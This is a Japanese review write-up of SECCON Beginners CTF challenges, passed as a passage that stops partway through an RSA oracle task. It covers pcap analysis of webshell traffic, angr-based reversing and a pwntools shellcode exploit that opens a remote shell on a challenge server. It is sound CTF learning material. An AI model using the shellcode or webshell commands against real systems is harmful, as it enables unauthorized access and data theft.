2019/5/25 ~ 5/26 で開催された、Beginners CTF 2020、手を付けてみたけど解けなかった問題や、新しく手を付けてみた問題の復習メモです。
大会終了後の問題サーバー稼働期間が 6/9(日)まで設けられているので、今からでもまだ間に合いますよ!
競技時間中に解いた問題のwrite-upはこちら。
競技時間中に全完されている方のwrite-upもあったので、色んなwrite-upを参考にさせていただきました。他の人のwrite-upを読むだけより、実際自分で動かしてみて手順を記しておくことで、定着するに違いない…!
今回、Reversing問題で angr
というツールを初めて使ってみたのですが、これ知ってればよかったなーという感じ。基礎部分の理解は別途したほうが良いけれども、とにかく早くシンプルな問題を解きたいときは、とても有効。今後は積極的に使っていくぞー!٩('ω')و
他にも SageMath を使ってみたり、heap問題に触れられたりと、かなり勉強になりました!
- [Misc] Dump
- [Reversing] Leakage
- [Reversing] Linear Operation
- [Pwnable] [warmup] shellcoder
- [Crypto] Go RSA
- [Crypto] Bit Flip
- [Web] Himitsu
- [Web] Secure Meyasubako
- [Web] katsudon-okawari
- [Pwnable] BabyHeap
- [Pwnable] OneLine
- 感想など
[Misc] Dump
Analyze dump and extract the flag!!
https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump
指定のurlにアクセスすると、またファイルが貰えます。
$ file fc23f13bcf6562e540ed81d1f47710af_dump fc23f13bcf6562e540ed81d1f47710af_dump: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)
tcpのdump fileのようです。
wiresharkで開いてみます。
なんと3000行もあります…!
まず全部見るのは置いておいて、ちょっと文字列だけ取り出して怪しいところがないか探してみます。
$ strings fc23f13bcf6562e540ed81d1f47710af_dump | grep ctf4b /GET /webshell.php?cmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1 -rw-r--r-- 1 ctf4b ctf4b 767400 Apr 7 19:46 /home/ctf4b/flag GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1
この ?cmd=
部分のクエリをurl decodeすると
ls -l /home/ctf4b/flag hexdump -e '16/1 "%02.3o " "¥n"' /home/ctf4b/flag
このhexdump
コマンドは
22 18.092373 192.168.75.1 192.168.75.230 HTTP 250 GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1
22行目にあります。同じhttpプロトコルで通信している応答を探してみると、最後の方にありました。
3193 18.358969 192.168.75.230 192.168.75.1 HTTP 118 HTTP/1.1 200 OK (text/html)
ここでchunkで返ってきているhexdumpを拾い集めて、1ファイルにして出力してやると、なんか画像とか出てこないかなー?ということでやってみます。
hexdumpの仕様理解のために下記を確認。
【 hexdump 】コマンド――ファイルを8進数や16進数でダンプする:Linux基本コマンドTips(253) - @IT
この辺を参考に。
hexdump -e '16/1 "%02.3o " "¥n"' /home/ctf4b/flag
このコマンドは、 /home/ctf4b/flag
ファイルを、1バイト単位、0埋め3桁の8進数+ブランクで出力、16回出力毎に改行する。
となりそうです。これをバイナリとして書き出してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- with open('dump', 'r') as f: dump = f.readlines() dump = dump[5:-2] output = '' for line in dump: b_arr = line.strip().split(' ') for b in b_arr: output += chr(int(b, 8)) with open('output', 'w') as f: f.write(output)
競技中に書いたスクリプトが上記。ただこれ出てきたファイル、file
コマンドで見てみてもdata
としか表示されず。詰んだ。
競技が終わって冷静にコードを見てみたら、これpython2の書き方じゃ。
python3では chr()
ではなく bytes([])
で書かないといけないんじゃった。。。
Python2のchr()がPython3では使えないという話 - Qiita
何度も参照している記事なのに…。ほかの問題ではbytes([])
使ってるのに…(T ^ T)
ということで書き直したら無事、gzipファイルが生成されました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- with open('dump', 'r') as f: dump = f.readlines() dump = dump[5:-2] output = b'' for line in dump: b_arr = line.strip().split(' ') for b in b_arr: output += bytes([int(b, 8)]) with open('output', 'wb') as f: f.write(output)
生成されたファイル確認
$ file output output: gzip compressed data, last modified: Sun Apr 7 10:46:34 2019, from Unix, original size 798720
gzip形式だそうです!gzip形式として解凍すると今度はtarだと言われたので、更にtar形式で解凍します。
$ mv output output.gz $ gzip -d output.gz $ file output output: POSIX tar archive $ tar zxvf output x ./._flag.jpg x flag.jpg
flag.jpg
出ました!!!!競技中に解きたかった〜!!!!!
[Reversing] Leakage
https://score.beginners.seccon.jp/files/leakage_80a8c3c2bd63254a033ea21093944b1e.tar.gz
tarファイルが貰えたので解凍します。leakage
という名前の実行ファイルをゲットしました。
$ file leakage leakage: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=334440ee47762e207c9830178dfebdf40b63075d, not stripped
試しに実行してみます。
$ ./leakage usage: ./leakage flag $ ./leakage flag wrong
引数を一つ取るそうです。適当に入れてみたら、Seccompare とおなじ wrong
と言われちゃいました。
radare2で解析してみます。
# r2 -d leakage Process with PID 3474 started... = attach 3474 3474 bin.baddr 0x00400000 Using 0x400000 asm.bits 64 [0x7f005687c090]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables
まずは使われている関数の一覧を確認し、mainの中身を確認します。
[0x7f005687c090]> s main [0x00400660]> pdf / (fcn) main 111 | main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x40051d) | 0x00400660 55 push rbp | 0x00400661 4889e5 mov rbp, rsp | 0x00400664 4883ec10 sub rsp, 0x10 | 0x00400668 897dfc mov dword [local_4h], edi ; argc | 0x0040066b 488975f0 mov qword [local_10h], rsi ; argv | 0x0040066f 837dfc01 cmp dword [local_4h], 1 | ,=< 0x00400673 7f22 jg 0x400697 | | 0x00400675 488b45f0 mov rax, qword [local_10h] | | 0x00400679 488b00 mov rax, qword [rax] | | 0x0040067c 4889c6 mov rsi, rax | | 0x0040067f 488d3dfd0500. lea rdi, qword str.usage:__s_flag ; 0x400c83 ; "usage: %s flag\n" | | 0x00400686 b800000000 mov eax, 0 | | 0x0040068b e860feffff call sym.imp.printf ; int printf(const char *format) | | 0x00400690 b801000000 mov eax, 1 | ,==< 0x00400695 eb36 jmp 0x4006cd | |`-> 0x00400697 488b45f0 mov rax, qword [local_10h] | | 0x0040069b 4883c008 add rax, 8 | | 0x0040069f 488b00 mov rax, qword [rax] | | 0x004006a2 4889c7 mov rdi, rax | | 0x004006a5 e83dffffff call sym.is_correct | | 0x004006aa 85c0 test eax, eax | |,=< 0x004006ac 740e je 0x4006bc | || 0x004006ae 488d3dde0500. lea rdi, qword str.correct ; 0x400c93 ; "correct" | || 0x004006b5 e806feffff call sym.imp.puts ; int puts(const char *s) | ,===< 0x004006ba eb0c jmp 0x4006c8 | ||`-> 0x004006bc 488d3dd80500. lea rdi, qword str.wrong ; 0x400c9b ; "wrong" | || 0x004006c3 e8f8fdffff call sym.imp.puts ; int puts(const char *s) | || ; CODE XREF from main (0x4006ba) | `---> 0x004006c8 b800000000 mov eax, 0 | | ; CODE XREF from main (0x400695) | `--> 0x004006cd c9 leave \ 0x004006ce c3 ret
前半は引数の確認と、引数の数が 1 じゃなかった時に usage を出して終了するコードのようです。
ここで、次に呼ばれている sym.is_correct
関数の中身を確認します。
[0x00400660]> s sym.is_correct [0x004005e7]> pdf / (fcn) sym.is_correct 121 | sym.is_correct (int arg1); | ; var int local_18h @ rbp-0x18 | ; var int local_5h @ rbp-0x5 | ; var int local_4h @ rbp-0x4 | ; arg int arg1 @ rdi | ; CALL XREF from main (0x4006a5) | 0x004005e7 55 push rbp | 0x004005e8 4889e5 mov rbp, rsp | 0x004005eb 4883ec20 sub rsp, 0x20 | 0x004005ef 48897de8 mov qword [local_18h], rdi ; arg1 | 0x004005f3 488b45e8 mov rax, qword [local_18h] | 0x004005f7 4889c7 mov rdi, rax | 0x004005fa e8d1feffff call sym.imp.strlen ; size_t strlen(const char *s) | 0x004005ff 4883f822 cmp rax, 0x22 ; '"' ; 34 | ,=< 0x00400603 7407 je 0x40060c | | 0x00400605 b800000000 mov eax, 0 | ,==< 0x0040060a eb52 jmp 0x40065e | |`-> 0x0040060c c745fc000000. mov dword [local_4h], 0 | |,=< 0x00400613 eb3e jmp 0x400653 | .---> 0x00400615 8b45fc mov eax, dword [local_4h] | :|| 0x00400618 4863d0 movsxd rdx, eax | :|| 0x0040061b 488d053e0600. lea rax, qword obj.enc_flag ; 0x400c60 | :|| 0x00400622 0fb60402 movzx eax, byte [rdx + rax] | :|| 0x00400626 0fb6c0 movzx eax, al | :|| 0x00400629 89c7 mov edi, eax | :|| 0x0040062b e8a0000000 call sym.convert | :|| 0x00400630 8845fb mov byte [local_5h], al | :|| 0x00400633 8b45fc mov eax, dword [local_4h] | :|| 0x00400636 4863d0 movsxd rdx, eax | :|| 0x00400639 488b45e8 mov rax, qword [local_18h] | :|| 0x0040063d 4801d0 add rax, rdx ; '(' | :|| 0x00400640 0fb600 movzx eax, byte [rax] | :|| 0x00400643 3845fb cmp byte [local_5h], al | ,====< 0x00400646 7407 je 0x40064f | |:|| 0x00400648 b800000000 mov eax, 0 | ,=====< 0x0040064d eb0f jmp 0x40065e | |`----> 0x0040064f 8345fc01 add dword [local_4h], 1 | | :|| ; CODE XREF from sym.is_correct (0x400613) | | :|`-> 0x00400653 837dfc21 cmp dword [local_4h], 0x21 ; '!' | | `===< 0x00400657 7ebc jle 0x400615 | | | 0x00400659 b801000000 mov eax, 1 | | | ; CODE XREFS from sym.is_correct (0x40060a, 0x40064d) | `--`--> 0x0040065e c9 leave \ 0x0040065f c3 ret
こんな気になる文言が。
lea rax, qword obj.enc_flag ; 0x400c60
Hopperで確認してみると
0000000000400c60 db 0xd3 ; '.' ; DATA XREF=is_correct+52 0000000000400c61 db 0x25 ; '%' 0000000000400c62 db 0x8b ; '.' 0000000000400c63 db 0x96 ; '.' 0000000000400c64 db 0x0f ; '.' 0000000000400c65 db 0x11 ; '.' 0000000000400c66 db 0xe4 ; '.' 0000000000400c67 db 0x2c ; ',' 0000000000400c68 db 0x8d ; '.' 0000000000400c69 db 0xd9 ; '.' 0000000000400c6a db 0xd7 ; '.' 0000000000400c6b db 0x7d ; '}' 0000000000400c6c db 0xf1 ; '.' 0000000000400c6d db 0x21 ; '!' 0000000000400c6e db 0x12 ; '.' 0000000000400c6f db 0x31 ; '1' 0000000000400c70 db 0x4f ; 'O' 0000000000400c71 db 0x45 ; 'E' 0000000000400c72 db 0xcd ; '.' 0000000000400c73 db 0x89 ; '.' 0000000000400c74 db 0xbf ; '.' 0000000000400c75 db 0xcd ; '.' 0000000000400c76 db 0xdd ; '.' 0000000000400c77 db 0x97 ; '.' 0000000000400c78 db 0xe8 ; '.' 0000000000400c79 db 0x92 ; '.' 0000000000400c7a db 0x36 ; '6' 0000000000400c7b db 0x34 ; '4' 0000000000400c7c db 0xb8 ; '.' 0000000000400c7d db 0xfc ; '.' 0000000000400c7e db 0xe2 ; '.' 0000000000400c7f db 0x2b ; '+' 0000000000400c80 db 0x58 ; 'X' 0000000000400c81 db 0xa0 ; '.' 0000000000400c82 db 0x00 ; '.'
こんな感じ。encodeの方法は解読できていませんが、encode後のバイト列が入手できました。
0xd3, 0x25, 0x8b, 0x96, 0x0f, 0x11, 0xe4, 0x2c, 0x8d, 0xd9, 0xd7, 0x7d, 0xf1, 0x21, 0x12, 0x31, 0x4f, 0x45, 0xcd, 0x89, 0xbf, 0xcd, 0xdd, 0x97, 0xe8, 0x92, 0x36, 0x34, 0xb8, 0xfc, 0xe2, 0x2b, 0x58, 0xa0
これがなんとか ctf4b{****}
になってくれると嬉しいのですが。
この文字の配列の大きさ、先程の sym.is_correct
関数の序盤に出てくる比較
0x004005ff 4883f822 cmp rax, 0x22 ; '"' ; 34
こことマッチしているようですし、きっと34文字のflagに違いない。
この34要素のリスト、xorをとったりshiftしたりしてみたけど、flagは出てこなかった。その先のsym.convert
関数の処理が理解できれば解読できそうだったが、これを真面目に読むのは無理…。
というところで競技終了。
他の方のwrite-upを読んで、動的に動かしながら解析するのが良いということがわかる。
その中でも、ちゃちゃっと手早く解いた人達が使っているツールがangr
。 gdbのdebug機能を使ってやるのが勉強になる気がするけど、一人チームでCTFするにはちゃっと答えにたどり着けるツール情報も欲しい!ということで入れてみました。
実は競技中もangr
というワードはTwitter上で何度か見かけたので、復習時に見てみようと思っていたのでした。
kanataさんのブログ記事でAngrについて「ほうほう」する。
Angr - A painter and a black cat
公式ページはこちら。
あとは、angr
とセットでよく使われている claripy
、こちらも試してみました。
GitHub - angr/claripy: An abstraction layer for constraint solvers.
Usageもとてもシンプル。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import angr import claripy p = angr.Project('./leakage') b = claripy.BVS('var_b', 34*8) # 34文字×8バイト state = p.factory.entry_state(args=['./leakage', b]) simgr = p.factory.simgr(state) simgr.explore(find=0x004006ae) # 入力が正しかった時に呼ばれるアドレス found = simgr.found[0] print(found.solver.eval(b, cast_to=bytes)) # angr だと cast_to で型変換できる
実行結果
(略) WARNING | 2019-05-28 15:23:30,395 | angr.state_plugins.symbolic_memory | Filling memory at 0x7ffffffffff0000 with 186 unconstrained bytes referenced from 0x10882b0 (strlen+0x0 in libc.so.6 (0x882b0)) b'ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}'
これはいい・・・。
angrで調べていると、今月開催された Harekaze CTF 2019 でもこれを使って解ける問題があったらしく、今後もかなり使えそう。
[Reversing] Linear Operation
https://score.beginners.seccon.jp/files/linear_operation_a45530bbfc995ac99f30e026276674aa.tar.gz
DLしたtarファイルを解凍すると、実行ファイルが出てきます。
$ file linear_operation linear_operation: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd95ed8682c3918a875318a938c280741ebd0e65, not stripped
実行してみます。
$ ./linear_operation input flag : ctf4b{} wrong
適当に入れてみたら wrong でした。またradare2で解析してmain関数を見てみます。
/ (fcn) main 204 | main (int argc, char **argv, char **envp); | ; var int local_60h @ rbp-0x60 | ; var int local_54h @ rbp-0x54 | ; var int local_50h @ rbp-0x50 | ; var int local_48h @ rbp-0x48 | ; var int local_40h @ rbp-0x40 | ; var int local_38h @ rbp-0x38 | ; var int local_30h @ rbp-0x30 | ; var int local_28h @ rbp-0x28 | ; var int local_20h @ rbp-0x20 | ; var int local_18h @ rbp-0x18 | ; var int local_8h @ rbp-0x8 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x40053d) | 0x0040cee1 55 push rbp | 0x0040cee2 4889e5 mov rbp, rsp | 0x0040cee5 4883ec60 sub rsp, 0x60 ; '`' | 0x0040cee9 897dac mov dword [local_54h], edi ; argc | 0x0040ceec 488975a0 mov qword [local_60h], rsi ; argv | 0x0040cef0 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40 | 0x0040cef9 488945f8 mov qword [local_8h], rax | 0x0040cefd 31c0 xor eax, eax | 0x0040ceff 48c745b00000. mov qword [local_50h], 0 | 0x0040cf07 48c745b80000. mov qword [local_48h], 0 | 0x0040cf0f 48c745c00000. mov qword [local_40h], 0 | 0x0040cf17 48c745c80000. mov qword [local_38h], 0 | 0x0040cf1f 48c745d00000. mov qword [local_30h], 0 | 0x0040cf27 48c745d80000. mov qword [local_28h], 0 | 0x0040cf2f 48c745e00000. mov qword [local_20h], 0 | 0x0040cf37 48c745e80000. mov qword [local_18h], 0 | 0x0040cf3f 488d3dee0000. lea rdi, qword str.input_flag_: ; 0x40d034 ; "input flag : " | 0x0040cf46 b800000000 mov eax, 0 | 0x0040cf4b e8b035ffff call sym.imp.printf ; int printf(const char *format) | 0x0040cf50 488d45b0 lea rax, qword [local_50h] | 0x0040cf54 4889c6 mov rsi, rax | 0x0040cf57 488d3de40000. lea rdi, qword str.63s ; 0x40d042 ; "%63s" | 0x0040cf5e b800000000 mov eax, 0 | 0x0040cf63 e8a835ffff call sym.imp.__isoc99_scanf ; int scanf(const char *format) | 0x0040cf68 488d45b0 lea rax, qword [local_50h] | 0x0040cf6c 4889c7 mov rdi, rax | 0x0040cf6f e89336ffff call sym.is_correct | 0x0040cf74 85c0 test eax, eax | ,=< 0x0040cf76 740e je 0x40cf86 | | 0x0040cf78 488d3dc80000. lea rdi, qword str.correct ; 0x40d047 ; "correct" | | 0x0040cf7f e85c35ffff call sym.imp.puts ; int puts(const char *s) | ,==< 0x0040cf84 eb0c jmp 0x40cf92 | || ; CODE XREF from main (0x40cf76) | |`-> 0x0040cf86 488d3dc20000. lea rdi, qword str.wrong ; 0x40d04f ; "wrong" | | 0x0040cf8d e84e35ffff call sym.imp.puts ; int puts(const char *s) | | ; CODE XREF from main (0x40cf84) | `--> 0x0040cf92 zzzzzz b800000000 mov eax, 0 | 0x0040cf97 488b55f8 mov rdx, qword [local_8h] | 0x0040cf9b 644833142528. xor rdx, qword fs:[0x28] | ,=< 0x0040cfa4 7405 je 0x40cfab | | 0x0040cfa6 e84535ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) | | ; CODE XREF from main (0x40cfa4) | `-> 0x0040cfab c9 leave \ 0x0040cfac c3 ret
input flag :
のあとのユーザー入力を、また is_correct
でチェックしてそうなので見てみようと思ったのですが、今回は is_correct
関数が大きすぎるらしくpdf
コマンドでは見れない。代わりにpdr
コマンドにしてちょ、と言われたので一応pdr
コマンドで見てみたけど、人力解析する気をなくす長さ。
先程 angr を使ってみたので、今回も引き続き使ってみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import angr import claripy p = angr.Project('./linear_operation') b = claripy.BVS('var_b', 0x63*8) state = p.factory.entry_state(args=['./linear_operation', b]) simgr = p.factory.simgr(state) simgr.explore(find=0x0040cf78) # 入力が正しかった時に呼ばれるアドレス found = simgr.found[0] print(found.posix.dumps(0))
実行結果
(略) WARNING | 2019-05-28 16:28:31,144 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in linear_operation (0x4005b1)) b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'
凄い。VM上でも4~5分で解けました。
[Pwnable] [warmup] shellcoder
途中からwarmupに変更になりました。
nc 153.120.129.186 20000
入手したファイルは下記。
$ file shellcoder shellcoder: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=acce612539763567a2d3dafd22431e476f32fb72, not stripped
実行してみます。
$ ./shellcoder Are you shellcoder? yes Payload contains invalid character!!
shellcoderか?と聞かれたので yes と答えると怒られました。そんな変な文字使ってないんだけどな…。
radare2で解析してみます。
[0x000007c0]> s main [0x00000917]> pdf / (fcn) main 233 | main (int argc, char **argv, char **envp); | ; var int local_8h @ rbp-0x8 | ; DATA XREF from entry0 (0x7dd) | 0x00000917 55 push rbp | 0x00000918 4889e5 mov rbp, rsp | 0x0000091b 4883ec10 sub rsp, 0x10 | 0x0000091f 41b900000000 mov r9d, 0 | 0x00000925 41b8ffffffff mov r8d, 0xffffffff ; -1 | 0x0000092b b921000000 mov ecx, 0x21 ; '!' | 0x00000930 ba07000000 mov edx, 7 | 0x00000935 be00100000 mov esi, 0x1000 | 0x0000093a bf00000000 mov edi, 0 | 0x0000093f e81cfeffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset) | 0x00000944 488945f8 mov qword [local_8h], rax | 0x00000948 488d3d390100. lea rdi, qword str.Are_you_shellcoder ; 0xa88 ; "Are you shellcoder?" | 0x0000094f e8fcfdffff call sym.imp.puts ; int puts(const char *s) | 0x00000954 488b45f8 mov rax, qword [local_8h] | 0x00000958 ba28000000 mov edx, 0x28 ; '(' | 0x0000095d 4889c6 mov rsi, rax | 0x00000960 bf00000000 mov edi, 0 | 0x00000965 e836feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x0000096a 488b45f8 mov rax, qword [local_8h] | 0x0000096e be62000000 mov esi, 0x62 ; 'b' | 0x00000973 4889c7 mov rdi, rax | 0x00000976 e805feffff call sym.imp.strchr ; char *strchr(const char *s, int c) | 0x0000097b 4885c0 test rax, rax | ,=< 0x0000097e 7558 jne 0x9d8 | | 0x00000980 488b45f8 mov rax, qword [local_8h] | | 0x00000984 be69000000 mov esi, 0x69 ; 'i' | | 0x00000989 4889c7 mov rdi, rax | | 0x0000098c e8effdffff call sym.imp.strchr ; char *strchr(const char *s, int c) | | 0x00000991 4885c0 test rax, rax | ,==< 0x00000994 7542 jne 0x9d8 | || 0x00000996 488b45f8 mov rax, qword [local_8h] | || 0x0000099a be6e000000 mov esi, 0x6e ; 'n' | || 0x0000099f 4889c7 mov rdi, rax | || 0x000009a2 e8d9fdffff call sym.imp.strchr ; char *strchr(const char *s, int c) | || 0x000009a7 4885c0 test rax, rax | ,===< 0x000009aa 752c jne 0x9d8 | ||| 0x000009ac 488b45f8 mov rax, qword [local_8h] | ||| 0x000009b0 be73000000 mov esi, 0x73 ; 's' | ||| 0x000009b5 4889c7 mov rdi, rax | ||| 0x000009b8 e8c3fdffff call sym.imp.strchr ; char *strchr(const char *s, int c) | ||| 0x000009bd 4885c0 test rax, rax | ,====< 0x000009c0 7516 jne 0x9d8 | |||| 0x000009c2 488b45f8 mov rax, qword [local_8h] | |||| 0x000009c6 be68000000 mov esi, 0x68 ; 'h' | |||| 0x000009cb 4889c7 mov rdi, rax | |||| 0x000009ce e8adfdffff call sym.imp.strchr ; char *strchr(const char *s, int c) | |||| 0x000009d3 4885c0 test rax, rax | ,=====< 0x000009d6 7416 je 0x9ee | ||||| ; CODE XREFS from main (0x97e, 0x994, 0x9aa, 0x9c0) | |````-> 0x000009d8 488d3dc10000. lea rdi, qword str.Payload_contains_invalid_character ; 0xaa0 ; "Payload contains invalid character!!" | | 0x000009df e86cfdffff call sym.imp.puts ; int puts(const char *s) | | 0x000009e4 bf00000000 mov edi, 0 | | 0x000009e9 e852fdffff call sym.imp._exit ; void _exit(int status) | | ; CODE XREF from main (0x9d6) | `-----> 0x000009ee 488b55f8 mov rdx, qword [local_8h] | 0x000009f2 b800000000 mov eax, 0 | 0x000009f7 ffd2 call rdx | 0x000009f9 b800000000 mov eax, 0 | 0x000009fe c9 leave \ 0x000009ff c3 ret
なにやらbinsh
の文字列が見えます。これらの文字が入っていたらexitしてしまうようです。また、入力できるサイズは 0x28 = 40d
以下のようです。
ちょっと動かしてみて、Pwnの分野はpicoCTFにもなかったし「あまり解いてないなー」と放置していました。
※picoCTFでは Binary 分野として出されていたっぽい。
他の方のwrite-upを見てみると、なんとshellcodeを投げるとそのまま実行してくれたっぽい。それくらいやってみればよかった…!
ただし、 binsh
という文字列は使ってはいけないようです。
まずは実行ファイルの詳細を確認してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * e = ELF('shellcoder')
実行結果
$ python solve.py (略) Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
この情報から、
picoCTFのshellcodeでも使用した shell-storm | Shellcodes Database で、使えそうなshellcodeを探します。
このページ、検索APIを用意してくれているので、http://shell-storm.org/api/?s=x86-64*exec
を呼んだり、下記のようにページ内ワード検索で探しました。
さらに、この中で40 bytes以下のもので、binsh
の文字列がそのまま使われていないものを探します。
今回はこちらのshellcodeが刺さりました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '153.120.129.186' port = 20000 e = ELF('shellcoder') # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" r = remote(host, port) print(r.recvuntil(b'Are you shellcoder?\n')) payload = shellcode r.sendline(payload) r.interactive()
実行結果
$ python solve.py [+] Opening connection to 153.120.129.186 on port 20000: Done b'Are you shellcoder?\n' [*] Switching to interactive mode $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
うおー、取れた!
[Crypto] Go RSA
Nだけなくしちゃったんだよなあ……。
Server: nc 133.242.17.175 1337
指定のサーバーに接続してみると、こんなのが出てきました。
$ nc 133.242.17.175 1337 Encrypted flag is: 3246914397805984625089274034689097404626310943025860396127701658909512577669514664108630471844355750327164896341754712339996304322183994272592515057036982712509993468585150053739578221129634295335156008826646739783998613552816135149250751248457932543995048264634859702233101213624411123860565127483614505789936131097481582250280879883345717399260890559456693933197989248325942651641020812875856881085952684919373866250212831032592940854889972412169066460390028956648027648499201166953687232091133712983765570352801518662259212852804103694341950383858692240162079647626761015691553176471163587025139488215942149755954 >
何度か接続すると、そのたびに値が変わっているようです。
$ nc 133.242.17.175 1337 Encrypted flag is: 3907445274809485944005850583688823517041246501493411406349489007647086307669999436104227383866581450368409392852838445888879770008535835878834505003876970205478568823503240903030938038455077025215335056618164328593408016447721733212359668633307320450941037637655329541552785254249716511507899935044199385906328784622550523391259328569275362502736954655166246026500587800940596296959029522685983369011306966517414140510594694353162567602256248885075015481729719434213475757532255491299600629907240843466787613080934054316353552493032572311831793772394412735195434031850098199864486870280497505100427907455657713646425 > $ nc 133.242.17.175 1337 Encrypted flag is: 16087737852679312943082579835574267808917098806166146477948390268311314495869597423139948769106893126211785455585840045916997202991917816782009212071321188120477266362607143640897212583925382246510294776980026710351920267715931578194642023066397300876433658336889193765162600728946506435849363159642338980333994545078796172371936842606384482259907112157726395098506280477904550192887364445098761849892453797359385715431531790060566968921040064078183374383999248626630815628933033564305381770162764154584360672510344097760176520813698801283104772684880144679500756733022628334968091288327601447320734125462521591796548 >
うーん、同じ平文m
を異なるn1
,n2
,n3
...で暗号化した暗号文c1
,c2
,c3
...が得られているように見えるけど、n
が与えられていないので、この条件だけでは厳しそう…。
そう言えば最後、入力を求められているみたいなのでとりあえずEnter押してみます。
$ nc 133.242.17.175 1337 Encrypted flag is: 8047501936113532470971463163769035363307223928331542019862100629176243314282283271202758429479914791322669300771420579913457581026765154113571142959838933732130552833333065622053458274173090191148800013346977368112870508247410156540246457255700169967472199105669076181391662274194785458930700620725774955004108234848444025992406999391308150948546356242311859488958072458152203070345633303830113973965876633818417894429938013032245232326823663311562700611121888629146571378754997730536726390911601872033974933172208804987668158313504008938995226939114473489641715532823098128084450486188707339520510891422195965785006 > e Bye The D was 17774810458571819467407763534846886965125517620396752931987750586426233720474536163034444932683783275869186318153195553816327509687354147300626845609662008894163150857079915178559820997234799801110496236843148336683137172848754208947320772000483006491556383278220075917393168418168899651059656373280723475427878763784266772317887251461857427950690144731432336023815705594595042004445467248298662607486419945921855858360071081134757821546305835537621313968950487786802983378272025237082009698923450089406819342358956698666226738949627627244652365877271549472071468662405248411352675107008230937961052036677926234100773
おお。d
を教えてくれました。
が、うーん、これだけではわからん。
(c,d)
のペアが複数わかることで何か解決する方法があるのだろうか??
と「うーん?うーん?」しているうちに競技終了。
他の方のwrite-upを読んでみると、他にもこちらの入力次第で色々返してくれるらしい…!色々つついて試さないと駄目だな。
例えば、0
,1
を入れるとそれぞれ 0
,1
が。1
, 2
など他の数値を入れていくと、1度の接続で3回まで試せますが、同じ接続では同じ値が返ってきました。
$ nc 133.242.17.175 1337 Encrypted flag is: 13282915023004231342812924777996300721754040850263906922093353347631353662786665284724635636608468092415862112159526954144942254716833340495975345401660230294865092708924256756259234189489074865632876762453354085351541952260697251635614213925828636510364391950914131288261720934783191823243133093933311697611084293820306618204240918215749335725630798973189983202700174011376604756481723447055481495693553345697561197015089423963671577391664063404347177433315081170162238873360031050971935526134349146000239892938967731738570265094689661568706945715315583329947099375063708509315094739230331938370231639119012637747565 > 0 0 > 1 1 > 2 877279288077675259091064861053447248444278348296427565761403732884671047532924053849841729486099613763845175467424745834891181075593046334327629469913814648015003273876531162322511179214931732239296712428198684887637846718871343087451687815496522157346938773872583949933437499917705910068403769000710624071256360356875527970625182470223890933660986991101096327622730572294356456912191451788545116820282780693645875658801185795081799002098659151719208726803352690566693323325045346119910781299907804214911128770246399131692767660900667176720091762529064533117008117365368722002285806611410327956044891615765189568172 The D was 1286199394723403175751442489591131178016615008758280457564390720873887440554755751775113871250095613343193282235267516214512910259500639485593905325741316615867446993491794273003570610488401409961032883486761536116109537479082481060104694120575036536863900693986492450332029793825991626520457396867461741478642724825860135490650800307949377731302835139011991576167714076273373780785949317965305718980580007409521389911483796513507621215834509304044891764149723515394546544762864334807254519163981078261252366813741717539868654534918997810611505089938209939999962630271260354410978268059260634151859953925813788339313
$ nc 133.242.17.175 1337 Encrypted flag is: 15747847081102512577109742723999143648720078353829171272914392166628707919561869349482730170822908329064937617639028738127778314435858175422076340871129745804616697121183821608760559268577549665213243883581282492752792385782156015369040304804942185733372562417889841560372225739950977205892996543822589396010811540427914722941338843166403451087537701481262900868363176594321484200918851563500365068078058316111073634178952083904549197459789823637261134488536950724796123126026515646089761514214290295048356810397764554577292624315819137594652013993303989442194889852100009009647231311385474603742971678395797983595260 > 2 